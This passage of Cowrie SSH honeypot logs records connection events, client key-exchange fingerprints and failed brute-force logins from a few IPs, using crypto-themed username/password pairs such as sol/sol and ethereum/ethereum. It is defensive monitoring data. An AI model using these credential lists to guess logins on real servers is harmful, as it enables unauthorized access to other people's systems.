ac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:55:34.370913Z","src_ip":"195.178.110.218","session":"976b9fa6cf89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:55:34.596298Z","src_ip":"195.178.110.218","session":"976b9fa6cf89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:55:35.673913Z","src_ip":"195.178.110.218","session":"976b9fa6cf89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"d27a8b9e4f48","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: d27a8b9e4f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:36.268310Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:36.360807Z","src_ip":"64.89.160.135","session":"d27a8b9e4f48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47530,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c9db51e2a5","protocol":"ssh","message":"New connection: 92.118.39.92:47530 (159.203.135.109:22) [session: 25c9db51e2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:38.177727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:38.182230Z","src_ip":"92.118.39.92","session":"25c9db51e2a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:38.287077Z","src_ip":"92.118.39.92","session":"25c9db51e2a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:38.608811Z","src_ip":"92.118.39.92","session":"25c9db51e2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:39.716195Z","src_ip":"92.118.39.92","session":"25c9db51e2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46158,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca2785fd5eb","protocol":"ssh","message":"New connection: 80.94.92.184:46158 (10.17.0.5:22) [session: 8ca2785fd5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:56.273263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:56.331395Z","src_ip":"80.94.92.184","session":"8ca2785fd5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:56.509160Z","src_ip":"80.94.92.184","session":"8ca2785fd5eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:57.689745Z","src_ip":"80.94.92.184","session":"8ca2785fd5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:56:58.902856Z","src_ip":"80.94.92.184","session":"8ca2785fd5eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35420,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce685d84223","protocol":"ssh","message":"New connection: 195.178.110.218:35420 (10.17.0.5:22) [session: 2ce685d84223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:57:46.768250Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:57:46.849585Z","src_ip":"195.178.110.218","session":"2ce685d84223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34726,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4abb9d7a17a","protocol":"ssh","message":"New connection: 92.118.39.92:34726 (159.203.135.109:22) [session: c4abb9d7a17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:58:52.919868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:58:52.923966Z","src_ip":"92.118.39.92","session":"c4abb9d7a17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:58:53.030248Z","src_ip":"92.118.39.92","session":"c4abb9d7a17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:58:53.342134Z","src_ip":"92.118.39.92","session":"c4abb9d7a17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:58:54.450143Z","src_ip":"92.118.39.92","session":"c4abb9d7a17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48900,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cab3f2d945b","protocol":"ssh","message":"New connection: 80.94.92.184:48900 (10.17.0.5:22) [session: 6cab3f2d945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:03.597710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:03.667881Z","src_ip":"80.94.92.184","session":"6cab3f2d945b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:03.832532Z","src_ip":"80.94.92.184","session":"6cab3f2d945b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:05.715445Z","src_ip":"80.94.92.184","session":"6cab3f2d945b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:07.101664Z","src_ip":"80.94.92.184","session":"6cab3f2d945b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35956,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20ba7fc16ac","protocol":"ssh","message":"New connection: 195.178.110.218:35956 (10.17.0.5:22) [session: f20ba7fc16ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:17.647829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:17.653594Z","src_ip":"195.178.110.218","session":"f20ba7fc16ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:17.733457Z","src_ip":"195.178.110.218","session":"f20ba7fc16ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:17.973388Z","src_ip":"195.178.110.218","session":"f20ba7fc16ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:00:19.055315Z","src_ip":"195.178.110.218","session":"f20ba7fc16ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50186,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5644a9210f5","protocol":"ssh","message":"New connection: 92.118.39.92:50186 (159.203.135.109:22) [session: d5644a9210f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:01:05.407223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:01:05.419381Z","src_ip":"92.118.39.92","session":"d5644a9210f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:01:05.513803Z","src_ip":"92.118.39.92","session":"d5644a9210f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:01:05.925090Z","src_ip":"92.118.39.92","session":"d5644a9210f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:01:07.033660Z","src_ip":"92.118.39.92","session":"d5644a9210f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35560,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8c569c74d09","protocol":"ssh","message":"New connection: 195.178.110.218:35560 (10.17.0.5:22) [session: b8c569c74d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:04.856832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:04.860253Z","src_ip":"195.178.110.218","session":"b8c569c74d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:04.934973Z","src_ip":"195.178.110.218","session":"b8c569c74d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:05.160109Z","src_ip":"195.178.110.218","session":"b8c569c74d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:06.236802Z","src_ip":"195.178.110.218","session":"b8c569c74d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d01a83332e","protocol":"ssh","message":"New connection: 80.94.92.184:51636 (10.17.0.5:22) [session: c0d01a83332e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:08.182138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:08.321867Z","src_ip":"80.94.92.184","session":"c0d01a83332e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""